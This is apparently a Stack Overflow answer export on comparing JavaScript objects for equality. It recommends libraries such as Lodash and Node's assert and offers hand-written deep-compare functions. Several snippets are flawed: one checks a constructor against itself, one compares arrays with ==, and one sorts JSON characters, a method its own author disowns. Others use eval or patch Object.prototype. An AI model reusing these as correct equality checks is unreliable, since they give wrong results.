rel=\"noreferrer\">Lodash</a> a try. It has a number of must-have functions such as <a href=\"http://lodash.com/docs#isEqual\" rel=\"noreferrer\">isEqual()</a>.</p>\n\n<pre><code>_.isEqual(object, other);\n</code></pre>\n\n<p>It will brute force check each key value - just like the other examples on this page - using <a href=\"http://en.wikipedia.org/wiki/ECMAScript#Versions\" rel=\"noreferrer\">ECMAScript&nbsp;5</a> and native optimizations if they're available in the browser.</p>\n\n<p>Note: Previously this answer recommended <a href=\"http://underscorejs.org/\" rel=\"noreferrer\">Underscore.js</a>, but <a href=\"http://lodash.com\" rel=\"noreferrer\">lodash</a> has done a better job of getting bugs fixed and addressing issues with consistency.</p>\n" }, { "answer_id": 3592198, "author": "mckoss", "author_id": 178521, "author_profile": "https://Stackoverflow.com/users/178521", "pm_score": 2, "selected": false, "text": "<p>It's useful to consider two objects equal if they have all the same values for all properties and recursively for all nested objects and arrays. I also consider the following two objects equal:</p>\n\n<pre><code>var a = {p1: 1};\nvar b = {p1: 1, p2: undefined};\n</code></pre>\n\n<p>Similarly, arrays can have \"missing\" elements and undefined elements. I would treat those the same as well:</p>\n\n<pre><code>var c = [1, 2];\nvar d = [1, 2, undefined];\n</code></pre>\n\n<p>A function that implements this definition of equality:</p>\n\n<pre><code>function isEqual(a, b) {\n if (a === b) {\n return true;\n }\n\n if (generalType(a) != generalType(b)) {\n return false;\n }\n\n if (a == b) {\n return true;\n }\n\n if (typeof a != 'object') {\n return false;\n }\n\n // null != {}\n if (a instanceof Object != b instanceof Object) {\n return false;\n }\n\n if (a instanceof Date || b instanceof Date) {\n if (a instanceof Date != b instanceof Date ||\n a.getTime() != b.getTime()) {\n return false;\n }\n }\n\n var allKeys = [].concat(keys(a), keys(b));\n uniqueArray(allKeys);\n\n for (var i = 0; i &lt; allKeys.length; i++) {\n var prop = allKeys[i];\n if (!isEqual(a[prop], b[prop])) {\n return false;\n }\n }\n return true;\n}\n</code></pre>\n\n<p><a href=\"http://code.google.com/p/pageforest/source/browse/appengine/static/src/js/base.js\" rel=\"nofollow noreferrer\">Source code</a> (including the helper functions, generalType and uniqueArray):\n<a href=\"http://code.google.com/p/pageforest/source/browse/appengine/static/src/js/tests/test-base.js\" rel=\"nofollow noreferrer\">Unit Test</a> and <a href=\"http://pageforest.googlecode.com/hg/appengine/static/src/js/tests/test-runner.html#base\" rel=\"nofollow noreferrer\">Test Runner here</a>.</p>\n" }, { "answer_id": 11039915, "author": "Ates Goral", "author_id": 23501, "author_profile": "https://Stackoverflow.com/users/23501", "pm_score": 5, "selected": false, "text": "<p>If you have a deep copy function handy, you can use the following trick to <em>still</em> use <code>JSON.stringify</code> while matching the order of properties:</p>\n\n<pre><code>function equals(obj1, obj2) {\n function _equals(obj1, obj2) {\n return JSON.stringify(obj1)\n === JSON.stringify($.extend(true, {}, obj1, obj2));\n }\n return _equals(obj1, obj2) &amp;&amp; _equals(obj2, obj1);\n}\n</code></pre>\n\n<p>Demo: <a href=\"http://jsfiddle.net/CU3vb/3/\" rel=\"noreferrer\">http://jsfiddle.net/CU3vb/3/</a></p>\n\n<p>Rationale:</p>\n\n<p>Since the properties of <code>obj1</code> are copied to the clone one by one, their order in the clone will be preserved. And when the properties of <code>obj2</code> are copied to the clone, since properties already existing in <code>obj1</code> will simply be overwritten, their orders in the clone will be preserved.</p>\n" }, { "answer_id": 12119320, "author": "Golo Roden", "author_id": 1333873, "author_profile": "https://Stackoverflow.com/users/1333873", "pm_score": -1, "selected": false, "text": "<p>I've written a small library that runs on Node.js and the browser called compare.js. It offers the usual comparison operators, such as ==, !=, >, >=, &lt;, &lt;= and identity on all data types of JavaScript.</p>\n\n<p>E.g., you can use</p>\n\n<pre><code>cmp.eq(obj1, obj2);\n</code></pre>\n\n<p>and this will check for equality (using a deep-equal approach). Otherwise, if you do</p>\n\n<pre><code>cmp.id(obj1, obj2);\n</code></pre>\n\n<p>it will compare by reference, hence check for identity.\nYou can also use &lt; and > on objects, which mean subset and superset.</p>\n\n<p>compare.js is covered by nearly 700 unit tests, hence it should hopefully not have too many bugs ;-).</p>\n\n<p>You can find it on <a href=\"https://github.com/goloroden/compare.js\" rel=\"nofollow\">https://github.com/goloroden/compare.js</a> for free, it is open-sourced under the MIT license.</p>\n" }, { "answer_id": 14987574, "author": "tmkly3", "author_id": 1741860, "author_profile": "https://Stackoverflow.com/users/1741860", "pm_score": 0, "selected": false, "text": "<p>A quick \"hack\" to tell if two objects are similar, is to use their toString() methods. If you're checking objects A and B, make sure A and B have meaningful toString() methods and check that the strings they return are the same.</p>\n\n<p>This isn't a panacea, but it can be useful sometimes in the right situations.</p>\n" }, { "answer_id": 16097842, "author": "Soyoes", "author_id": 1423539, "author_profile": "https://Stackoverflow.com/users/1423539", "pm_score": -1, "selected": false, "text": "<pre><code>function isEqual(obj1, obj2){\n type1 = typeof(obj1);\n type2 = typeof(obj2);\n if(type1===type2){\n switch (type1){\n case \"object\": return JSON.stringify(obj1)===JSON.stringify(obj2);\n case \"function\": return eval(obj1).toString()===eval(obj2).toString();\n default: return obj1==obj2;\n }\n }\n return false;\n}//have not tried but should work.\n</code></pre>\n" }, { "answer_id": 16788517, "author": "Ebrahim Byagowi", "author_id": 1414809, "author_profile": "https://Stackoverflow.com/users/1414809", "pm_score": 6, "selected": false, "text": "<p>This is my version. It is using new <a href=\"https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys\" rel=\"noreferrer\">Object.keys</a> feature that is introduced in ES5 and ideas/tests from <a href=\"https://stackoverflow.com/a/3849480/1414809\">+</a>, <a href=\"https://stackoverflow.com/a/6713782/1414809\">+</a> and <a href=\"https://stackoverflow.com/a/5522917/1414809\">+</a>:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"false\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function objectEquals(x, y) {\r\n 'use strict';\r\n\r\n if (x === null || x === undefined || y === null || y === undefined) { return x === y; }\r\n // after this just checking type of one would be enough\r\n if (x.constructor !== y.constructor) { return false; }\r\n // if they are functions, they should exactly refer to same one (because of closures)\r\n if (x instanceof Function) { return x === y; }\r\n // if they are regexps, they should exactly refer to same one (it is hard to better equality check on current ES)\r\n if (x instanceof RegExp) { return x === y; }\r\n if (x === y || x.valueOf() === y.valueOf()) { return true; }\r\n if (Array.isArray(x) &amp;&amp; x.length !== y.length) { return false; }\r\n\r\n // if they are dates, they must had equal valueOf\r\n if (x instanceof Date) { return false; }\r\n\r\n // if they are strictly equal, they both need to be object at least\r\n if (!(x instanceof Object)) { return false; }\r\n if (!(y instanceof Object)) { return false; }\r\n\r\n // recursive object equality check\r\n var p = Object.keys(x);\r\n return Object.keys(y).every(function (i) { return p.indexOf(i) !== -1; }) &amp;&amp;\r\n p.every(function (i) { return objectEquals(x[i], y[i]); });\r\n}\r\n\r\n\r\n///////////////////////////////////////////////////////////////\r\n/// The borrowed tests, run them by clicking \"Run code snippet\"\r\n///////////////////////////////////////////////////////////////\r\nvar printResult = function (x) {\r\n if (x) { document.write('&lt;div style=\"color: green;\"&gt;Passed&lt;/div&gt;'); }\r\n else { document.write('&lt;div style=\"color: red;\"&gt;Failed&lt;/div&gt;'); }\r\n};\r\nvar assert = { isTrue: function (x) { printResult(x); }, isFalse: function (x) { printResult(!x); } }\r\nassert.isTrue(objectEquals(null,null));\r\nassert.isFalse(objectEquals(null,undefined));\r\nassert.isFalse(objectEquals(/abc/, /abc/));\r\nassert.isFalse(objectEquals(/abc/, /123/));\r\nvar r = /abc/;\r\nassert.isTrue(objectEquals(r, r));\r\n\r\nassert.isTrue(objectEquals(\"hi\",\"hi\"));\r\nassert.isTrue(objectEquals(5,5));\r\nassert.isFalse(objectEquals(5,10));\r\n\r\nassert.isTrue(objectEquals([],[]));\r\nassert.isTrue(objectEquals([1,2],[1,2]));\r\nassert.isFalse(objectEquals([1,2],[2,1]));\r\nassert.isFalse(objectEquals([1,2],[1,2,3]));\r\n\r\nassert.isTrue(objectEquals({},{}));\r\nassert.isTrue(objectEquals({a:1,b:2},{a:1,b:2}));\r\nassert.isTrue(objectEquals({a:1,b:2},{b:2,a:1}));\r\nassert.isFalse(objectEquals({a:1,b:2},{a:1,b:3}));\r\n\r\nassert.isTrue(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}));\r\nassert.isFalse(objectEquals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}},{1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:27}}));\r\n\r\nObject.prototype.equals = function (obj) { return objectEquals(this, obj); };\r\nvar assertFalse = assert.isFalse,\r\n assertTrue = assert.isTrue;\r\n\r\nassertFalse({}.equals(null));\r\nassertFalse({}.equals(undefined));\r\n\r\nassertTrue(\"hi\".equals(\"hi\"));\r\nassertTrue(new Number(5).equals(5));\r\nassertFalse(new Number(5).equals(10));\r\nassertFalse(new Number(1).equals(\"1\"));\r\n\r\nassertTrue([].equals([]));\r\nassertTrue([1,2].equals([1,2]));\r\nassertFalse([1,2].equals([2,1]));\r\nassertFalse([1,2].equals([1,2,3]));\r\nassertTrue(new Date(\"2011-03-31\").equals(new Date(\"2011-03-31\")));\r\nassertFalse(new Date(\"2011-03-31\").equals(new Date(\"1970-01-01\")));\r\n\r\nassertTrue({}.equals({}));\r\nassertTrue({a:1,b:2}.equals({a:1,b:2}));\r\nassertTrue({a:1,b:2}.equals({b:2,a:1}));\r\nassertFalse({a:1,b:2}.equals({a:1,b:3}));\r\n\r\nassertTrue({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}.equals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}));\r\nassertFalse({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:26}}.equals({1:{name:\"mhc\",age:28}, 2:{name:\"arb\",age:27}}));\r\n\r\nvar a = {a: 'text', b:[0,1]};\r\nvar b = {a: 'text', b:[0,1]};\r\nvar c = {a: 'text', b: 0};\r\nvar d = {a: 'text', b: false};\r\nvar e = {a: 'text', b:[1,0]};\r\nvar i = {\r\n a: 'text',\r\n c: {\r\n b: [1, 0]\r\n }\r\n};\r\nvar j = {\r\n a: 'text',\r\n c: {\r\n b: [1, 0]\r\n }\r\n};\r\nvar k = {a: 'text', b: null};\r\nvar l = {a: 'text', b: undefined};\r\n\r\nassertTrue(a.equals(b));\r\nassertFalse(a.equals(c));\r\nassertFalse(c.equals(d));\r\nassertFalse(a.equals(e));\r\nassertTrue(i.equals(j));\r\nassertFalse(d.equals(k));\r\nassertFalse(k.equals(l));\r\n\r\n// from comments on stackoverflow post\r\nassert.isFalse(objectEquals([1, 2, undefined], [1, 2]));\r\nassert.isFalse(objectEquals([1, 2, 3], { 0: 1, 1: 2, 2: 3 }));\r\nassert.isFalse(objectEquals(new Date(1234), 1234));\r\n\r\n// no two different function is equal really, they capture their context variables\r\n// so even if they have same toString(), they won't have same functionality\r\nvar func = function (x) { return true; };\r\nvar func2 = function (x) { return true; };\r\nassert.isTrue(objectEquals(func, func));\r\nassert.isFalse(objectEquals(func, func2));\r\nassert.isTrue(objectEquals({ a: { b: func } }, { a: { b: func } }));\r\nassert.isFalse(objectEquals({ a: { b: func } }, { a: { b: func2 } }));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 16795863, "author": "Luke", "author_id": 799858, "author_profile": "https://Stackoverflow.com/users/799858", "pm_score": -1, "selected": false, "text": "<p>Here's a pretty clean <a href=\"http://en.wikipedia.org/wiki/CoffeeScript\" rel=\"nofollow\">CoffeeScript</a> version of how you could do this:</p>\n\n<pre><code>Object::equals = (other) -&gt;\n typeOf = Object::toString\n\n return false if typeOf.call(this) isnt typeOf.call(other)\n return `this == other` unless typeOf.call(other) is '[object Object]' or\n typeOf.call(other) is '[object Array]'\n\n (return false unless this[key].equals other[key]) for key, value of this\n (return false if typeof this[key] is 'undefined') for key of other\n\n true\n</code></pre>\n\n<p>Here are the tests:</p>\n\n<pre><code> describe \"equals\", -&gt;\n\n it \"should consider two numbers to be equal\", -&gt;\n assert 5.equals(5)\n\n it \"should consider two empty objects to be equal\", -&gt;\n assert {}.equals({})\n\n it \"should consider two objects with one key to be equal\", -&gt;\n assert {a: \"banana\"}.equals {a: \"banana\"}\n\n it \"should consider two objects with keys in different orders to be equal\", -&gt;\n assert {a: \"banana\", kendall: \"garrus\"}.equals {kendall: \"garrus\", a: \"banana\"}\n\n it \"should consider two objects with nested objects to be equal\", -&gt;\n assert {a: {fruit: \"banana\"}}.equals {a: {fruit: \"banana\"}}\n\n it \"should consider two objects with nested objects that are jumbled to be equal\", -&gt;\n assert {a: {a: \"banana\", kendall: \"garrus\"}}.equals {a: {kendall: \"garrus\", a: \"banana\"}}\n\n it \"should consider two objects with arrays as values to be equal\", -&gt;\n assert {a: [\"apple\", \"banana\"]}.equals {a: [\"apple\", \"banana\"]}\n\n\n\n it \"should not consider an object to be equal to null\", -&gt;\n assert !({a: \"banana\"}.equals null)\n\n it \"should not consider two objects with different keys to be equal\", -&gt;\n assert !({a: \"banana\"}.equals {})\n\n it \"should not consider two objects with different values to be equal\", -&gt;\n assert !({a: \"banana\"}.equals {a: \"grapefruit\"})\n</code></pre>\n" }, { "answer_id": 17260942, "author": "stamat", "author_id": 1909864, "author_profile": "https://Stackoverflow.com/users/1909864", "pm_score": -1, "selected": false, "text": "<p>Some of the following solutions have problems with performance, functionality and style... They are not thought through enough, and some of them fail for different cases. I tried to address this problem in my own solution, and I would really much appreciate your feedback:</p>\n\n<p><a href=\"http://stamat.wordpress.com/javascript-object-comparison/\" rel=\"nofollow\">http://stamat.wordpress.com/javascript-object-comparison/</a></p>\n\n<pre><code>//Returns the object's class, Array, Date, RegExp, Object are of interest to us\nvar getClass = function(val) {\n return Object.prototype.toString.call(val)\n .match(/^\\[object\\s(.*)\\]$/)[1];\n};\n\n//Defines the type of the value, extended typeof\nvar whatis = function(val) {\n\n if (val === undefined)\n return 'undefined';\n if (val === null)\n return 'null';\n\n var type = typeof val;\n\n if (type === 'object')\n type = getClass(val).toLowerCase();\n\n if (type === 'number') {\n if (val.toString().indexOf('.') &gt; 0)\n return 'float';\n else\n return 'integer';\n }\n\n return type;\n };\n\nvar compareObjects = function(a, b) {\n if (a === b)\n return true;\n for (var i in a) {\n if (b.hasOwnProperty(i)) {\n if (!equal(a[i],b[i])) return false;\n } else {\n return false;\n }\n }\n\n for (var i in b) {\n if (!a.hasOwnProperty(i)) {\n return false;\n }\n }\n return true;\n};\n\nvar compareArrays = function(a, b) {\n if (a === b)\n return true;\n if (a.length !== b.length)\n return false;\n for (var i = 0; i &lt; a.length; i++){\n if(!equal(a[i], b[i])) return false;\n };\n return true;\n};\n\nvar _equal = {};\n_equal.array = compareArrays;\n_equal.object = compareObjects;\n_equal.date = function(a, b) {\n return a.getTime() === b.getTime();\n};\n_equal.regexp = function(a, b) {\n return a.toString() === b.toString();\n};\n// uncoment to support function as string compare\n// _equal.fucntion = _equal.regexp;\n\n\n\n/*\n * Are two values equal, deep compare for objects and arrays.\n * @param a {any}\n * @param b {any}\n * @return {boolean} Are equal?\n */\nvar equal = function(a, b) {\n if (a !== b) {\n var atype = whatis(a), btype = whatis(b);\n\n if (atype === btype)\n return _equal.hasOwnProperty(atype) ? _equal[atype](a, b) : a==b;\n\n return false;\n }\n\n return true;\n};\n</code></pre>\n" }, { "answer_id": 19041167, "author": "Aldo Fregoso", "author_id": 2569961, "author_profile": "https://Stackoverflow.com/users/2569961", "pm_score": 2, "selected": false, "text": "<p>I'm making the following assumptions with this function:</p>\n\n<ol>\n<li>You control the objects you are comparing and you only have primitive values (ie. not nested objects, functions, etc.).</li>\n<li>Your browser has support for <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys\" rel=\"nofollow\">Object.keys</a>.</li>\n</ol>\n\n<p>This should be treated as a demonstration of a simple strategy.</p>\n\n<pre><code>/**\n * Checks the equality of two objects that contain primitive values. (ie. no nested objects, functions, etc.)\n * @param {Object} object1\n * @param {Object} object2\n * @param {Boolean} [order_matters] Affects the return value of unordered objects. (ex. {a:1, b:2} and {b:2, a:1}).\n * @returns {Boolean}\n */\nfunction isEqual( object1, object2, order_matters ) {\n var keys1 = Object.keys(object1),\n keys2 = Object.keys(object2),\n i, key;\n\n // Test 1: Same number of elements\n if( keys1.length != keys2.length ) {\n return false;\n }\n\n // If order doesn't matter isEqual({a:2, b:1}, {b:1, a:2}) should return true.\n // keys1 = Object.keys({a:2, b:1}) = [\"a\",\"b\"];\n // keys2 = Object.keys({b:1, a:2}) = [\"b\",\"a\"];\n // This is why we are sorting keys1 and keys2.\n if( !order_matters ) {\n keys1.sort();\n keys2.sort();\n }\n\n // Test 2: Same keys\n for( i = 0; i &lt; keys1.length; i++ ) {\n if( keys1[i] != keys2[i] ) {\n return false;\n }\n }\n\n // Test 3: Values\n for( i = 0; i &lt; keys1.length; i++ ) {\n key = keys1[i];\n if( object1[key] != object2[key] ) {\n return false;\n }\n }\n\n return true;\n}\n</code></pre>\n" }, { "answer_id": 19055489, "author": "Troy Harvey", "author_id": 581584, "author_profile": "https://Stackoverflow.com/users/581584", "pm_score": 6, "selected": false, "text": "<p>If you are working in <a href=\"http://docs.angularjs.org\" rel=\"noreferrer\">AngularJS</a>, the <code>angular.equals</code> function will determine if two objects are equal. In <a href=\"http://emberjs.com/api/\" rel=\"noreferrer\">Ember.js</a> use <code>isEqual</code>.</p>\n\n<ul>\n<li><code>angular.equals</code> - See the <a href=\"http://docs.angularjs.org/api/angular.equals\" rel=\"noreferrer\">docs</a> or <a href=\"https://github.com/angular/angular.js/blob/6c59e770084912d2345e7f83f983092a2d305ae3/src/Angular.js#L670\" rel=\"noreferrer\">source</a> for more on this method. It does a deep compare on arrays too.</li>\n<li>Ember.js <code>isEqual</code> - See the <a href=\"http://emberjs.com/api/#method_isEqual\" rel=\"noreferrer\">docs</a> or <a href=\"https://github.com/emberjs/ember.js/blob/dfbdbea00bb94f3c1620bd09145540a8bbb8e224/packages/ember-runtime/lib/is-equal.js\" rel=\"noreferrer\">source</a> for more on this method. It does not do a deep compare on arrays.</li>\n</ul>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"false\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var purple = [{\"purple\": \"drank\"}];\r\nvar drank = [{\"purple\": \"drank\"}];\r\n\r\nif(angular.equals(purple, drank)) {\r\n document.write('got dat');\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.min.js\"&gt;&lt;/script&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 20284831, "author": "Hefeust CORTES", "author_id": 2372865, "author_profile": "https://Stackoverflow.com/users/2372865", "pm_score": 2, "selected": false, "text": "<p>For comparing keys for simple key/value pairs object instances, I use:</p>\n\n<pre><code>function compareKeys(r1, r2) {\n var nloops = 0, score = 0;\n for(k1 in r1) {\n for(k2 in r2) {\n nloops++;\n if(k1 == k2)\n score++; \n }\n }\n return nloops == (score * score);\n};\n</code></pre>\n\n<p>Once keys are compared, a simple additional <code>for..in</code> loop is enough.</p>\n\n<p>Complexity is O(N*N) with N is the number of keys. </p>\n\n<p>I hope/guess objects I define won't hold more than 1000 properties... </p>\n" }, { "answer_id": 20714337, "author": "Lex Podgorny", "author_id": 2487835, "author_profile": "https://Stackoverflow.com/users/2487835", "pm_score": 2, "selected": false, "text": "<p>This is an addition for all the above, not a replacement. If you need to fast shallow-compare objects without need to check extra recursive cases. Here is a shot.</p>\n\n<p>This compares for: 1) Equality of number of own properties, 2) Equality of key names, 3) if bCompareValues == true, Equality of corresponding property values and their types (triple equality)</p>\n\n<pre><code>var shallowCompareObjects = function(o1, o2, bCompareValues) {\n var s, \n n1 = 0,\n n2 = 0,\n b = true;\n\n for (s in o1) { n1 ++; }\n for (s in o2) { \n if (!o1.hasOwnProperty(s)) {\n b = false;\n break;\n }\n if (bCompareValues &amp;&amp; o1[s] !== o2[s]) {\n b = false;\n break;\n }\n n2 ++;\n }\n return b &amp;&amp; n1 == n2;\n}\n</code></pre>\n" }, { "answer_id": 21762099, "author": "Sandeep", "author_id": 218857, "author_profile": "https://Stackoverflow.com/users/218857", "pm_score": -1, "selected": false, "text": "<p>Object equality check:<code>JSON.stringify(array1.sort()) === JSON.stringify(array2.sort())</code></p>\n\n<p>The above test also works with arrays of objects in which case use a sort function as documented in <a href=\"http://www.w3schools.com/jsref/jsref_sort.asp\" rel=\"nofollow\">http://www.w3schools.com/jsref/jsref_sort.asp</a></p>\n\n<p>Might suffice for small arrays with flat JSON schemas.</p>\n" }, { "answer_id": 22332518, "author": "Mirek Rusin", "author_id": 177776, "author_profile": "https://Stackoverflow.com/users/177776", "pm_score": 2, "selected": false, "text": "<p>If you are comparing JSON objects you can use <a href=\"https://github.com/mirek/node-rus-diff\" rel=\"nofollow\">https://github.com/mirek/node-rus-diff</a></p>\n\n<pre><code>npm install rus-diff\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>a = {foo:{bar:1}}\nb = {foo:{bar:1}}\nc = {foo:{bar:2}}\n\nvar rusDiff = require('rus-diff').rusDiff\n\nconsole.log(rusDiff(a, b)) // -&gt; false, meaning a and b are equal\nconsole.log(rusDiff(a, c)) // -&gt; { '$set': { 'foo.bar': 2 } }\n</code></pre>\n\n<p>If two objects are different, a MongoDB compatible <code>{$rename:{...}, $unset:{...}, $set:{...}}</code> like object is returned.</p>\n" }, { "answer_id": 23511001, "author": "Sudharshan", "author_id": 3036701, "author_profile": "https://Stackoverflow.com/users/3036701", "pm_score": 0, "selected": false, "text": "<p>Here is a very basic approach to checking an object's \"value equality\".</p>\n\n<pre><code>var john = {\n occupation: \"Web Developer\",\n age: 25\n};\n\nvar bobby = {\n occupation: \"Web Developer\",\n age: 25\n};\n\nfunction isEquivalent(a, b) {\n // Create arrays of property names\n\n var aProps = Object.getOwnPropertyNames(a);\n var bProps = Object.getOwnPropertyNames(b);\n\n // If number of properties is different, objects are not equivalent\n\n if (aProps.length != bProps.length) {\n return false;\n }\n\n for (var i = 0; i &lt; aProps.length; i++) {\n var propName = aProps[i];\n\n // If values of same property are not equal, objects are not equivalent\n if (a[propName] !== b[propName]) {\n return false;\n }\n }\n\n // If we made it this far, objects are considered equivalent\n return true;\n}\n\n// Outputs: true\nconsole.log(isEquivalent(john, bobby));\n</code></pre>\n\n<p><a href=\"http://jsfiddle.net/SUDHARSHAN_R/6beqR/\" rel=\"nofollow\">Demo - JSFiddle</a></p>\n\n<p>As you can see, to check the objects' \"value equality\" we essentially have to iterate over every property in the objects to see whether they are equal. And while this simple implementation works for our example, there are a lot of cases that it doesn't handle. For instance:</p>\n\n<ul>\n<li>What if one of the property values is itself an object?</li>\n<li>What if one of the property values is NaN (the only value in\nJavaScript that is not equal to itself?)</li>\n<li>What if a has a property with value undefined, while b doesn't have\nthis property (which thus evaluates to undefined?)</li>\n</ul>\n\n<p>For a robust method of checking objects' \"value equality\" it is better to rely on a well-tested library that covers the various edge cases like <a href=\"http://underscorejs.org/#isEqual\" rel=\"nofollow\">Underscore</a>. </p>\n\n<pre><code>var john = {\n occupation: \"Web Developer\",\n age: 25\n};\n\nvar bobby = {\n occupation: \"Web Developer\",\n age: 25\n};\n\n// Outputs: true\nconsole.log(_.isEqual(john, bobby));\n</code></pre>\n\n<p><a href=\"http://jsfiddle.net/SUDHARSHAN_R/RFYMh/\" rel=\"nofollow\">Demo - JSFiddle</a></p>\n" }, { "answer_id": 26016880, "author": "Rafael Xavier", "author_id": 798133, "author_profile": "https://Stackoverflow.com/users/798133", "pm_score": 5, "selected": false, "text": "<p>In Node.js, you can use its native <code>require(\"assert\").deepStrictEqual</code>. More info: \n<a href=\"http://nodejs.org/api/assert.html\" rel=\"noreferrer\">http://nodejs.org/api/assert.html</a></p>\n\n<p>For example:</p>\n\n<pre><code>var assert = require(\"assert\");\nassert.deepStrictEqual({a:1, b:2}, {a:1, b:3}); // will throw AssertionError\n</code></pre>\n\n<p>Another example that returns <code>true</code> / <code>false</code> instead of returning errors:</p>\n\n<pre><code>var assert = require(\"assert\");\n\nfunction deepEqual(a, b) {\n try {\n assert.deepEqual(a, b);\n } catch (error) {\n if (error.name === \"AssertionError\") {\n return false;\n }\n throw error;\n }\n return true;\n};\n</code></pre>\n" }, { "answer_id": 27014537, "author": "Kevin Teljeur", "author_id": 2111941, "author_profile": "https://Stackoverflow.com/users/2111941", "pm_score": -1, "selected": false, "text": "<p>Sure, while we're at it I'll throw in my own reinvention of the wheel (I'm proud of the number of spokes and materials used):\n</p>\n\n<pre><code>////////////////////////////////////////////////////////////////////////////////\n\nvar equals = function ( objectA, objectB ) {\n var result = false,\n keysA,\n keysB;\n\n // Check if they are pointing at the same variable. If they are, no need to test further.\n if ( objectA === objectB ) {\n return true;\n }\n\n // Check if they are the same type. If they are not, no need to test further.\n if ( typeof objectA !== typeof objectB ) {\n return false;\n }\n\n // Check what kind of variables they are to see what sort of comparison we should make.\n if ( typeof objectA === \"object\" ) {\n // Check if they have the same constructor, so that we are comparing apples with apples.\n if ( objectA.constructor === objectA.constructor ) {\n // If we are working with Arrays...\n if ( objectA instanceof Array ) {\n // Check the arrays are the same length. If not, they cannot be the same.\n if ( objectA.length === objectB.length ) {\n // Compare each element. They must be identical. If not, the comparison stops immediately and returns false.\n return objectA.every(\n function ( element, i ) {\n return equals( element, objectB[ i ] );\n }\n );\n }\n // They are not the same length, and so are not identical.\n else {\n return false;\n }\n }\n // If we are working with RegExps...\n else if ( objectA instanceof RegExp ) {\n // Return the results of a string comparison of the expression.\n return ( objectA.toString() === objectB.toString() );\n }\n // Else we are working with other types of objects...\n else {\n // Get the keys as arrays from both objects. This uses Object.keys, so no old browsers here.\n keysA = Object.keys( objectA );\n\n keysB = Object.keys( objectB );\n\n // Check the key arrays are the same length. If not, they cannot be the same.\n if ( keysA.length === keysB.length ) {\n // Compare each property. They must be identical. If not, the comparison stops immediately and returns false.\n return keysA.every(\n function ( element ) {\n return equals( objectA[ element ], objectB[ element ] );\n }\n );\n }\n // They do not have the same number of keys, and so are not identical.\n else {\n return false;\n }\n }\n }\n // They don't have the same constructor.\n else {\n return false;\n }\n }\n // If they are both functions, let us do a string comparison.\n else if ( typeof objectA === \"function\" ) {\n return ( objectA.toString() === objectB.toString() );\n }\n // If a simple variable type, compare directly without coercion.\n else {\n return ( objectA === objectB );\n }\n\n // Return a default if nothing has already been returned.\n return result;\n};\n\n////////////////////////////////////////////////////////////////////////////////\n</code></pre>\n\n<p>It returns false as quickly as possible, but of course for a large object where the difference is deeply nested it could be less effective. In my own scenario, good handling of nested arrays is important.</p>\n\n<p>Hope it helps someone needing this kind of 'wheel'.</p>\n" }, { "answer_id": 28439261, "author": "th317erd", "author_id": 2379136, "author_profile": "https://Stackoverflow.com/users/2379136", "pm_score": 3, "selected": false, "text": "<p>EDIT: This method is quite flawed, and is rife with its own issues. I don't recommend it, and would appreciate some down-votes! It is problematic because 1) Some things can not be compared (i.e. functions) because they can not be serialized, 2) It isn't a very fast method of comparing, 3) It has ordering issues, 4) It can have collision issues/false positives if not properly implemented, 5) It can't check for &quot;exactness&quot; (<code>===</code>), and instead is based of value equality, which is oftentimes not what is desired in a comparison method.</p>\n<p>A simple solution to this issue that many people don't realize is to sort the JSON strings (per character). This is also usually faster than the other solutions mentioned here:</p>\n<pre><code>function areEqual(obj1, obj2) {\n var a = JSON.stringify(obj1), b = JSON.stringify(obj2);\n if (!a) a = '';\n if (!b) b = '';\n return (a.split('').sort().join('') == b.split('').sort().join(''));\n}\n</code></pre>\n<p>Another useful thing about this method is you can filter comparisons by passing a &quot;replacer&quot; function to the JSON.stringify functions (<a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#Example_of_using_replacer_parameter\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#Example_of_using_replacer_parameter</a>). The following will only compare all objects keys that are named &quot;derp&quot;:</p>\n<pre><code>function areEqual(obj1, obj2, filter) {\n var a = JSON.stringify(obj1, filter), b = JSON.stringify(obj2, filter);\n if (!a) a = '';\n if (!b) b = '';\n return (a.split('').sort().join('') == b.split('').sort().join(''));\n}\nvar equal = areEqual(obj1, obj2, function(key, value) {\n return (key === 'derp') ? value : undefined;\n});\n</code></pre>\n" }, { "answer_id": 28464026, "author": "inoabrian", "author_id": 1851066, "author_profile": "https://Stackoverflow.com/users/1851066", "pm_score": 2, "selected": false, "text": "<p>I know this is a bit old, but I would like to add a solution that I came up with for this problem.\nI had an object and I wanted to know when its data changed. \"something similar to Object.observe\" and what I did was:</p>\n\n<pre><code>function checkObjects(obj,obj2){\n var values = [];\n var keys = [];\n keys = Object.keys(obj);\n keys.forEach(function(key){\n values.push(key);\n });\n var values2 = [];\n var keys2 = [];\n keys2 = Object.keys(obj2);\n keys2.forEach(function(key){\n values2.push(key);\n });\n return (values == values2 &amp;&amp; keys == keys2)\n}\n</code></pre>\n\n<p>This here can be duplicated and create an other set of arrays to compare the values and keys.\nIt is very simple because they are now arrays and will return false if objects have different sizes.</p>\n" }, { "answer_id": 29006446, "author": "Tommaso Bertoni", "author_id": 3743963, "author_profile": "https://Stackoverflow.com/users/3743963", "pm_score": -1, "selected": false, "text": "<p>Yeah, another 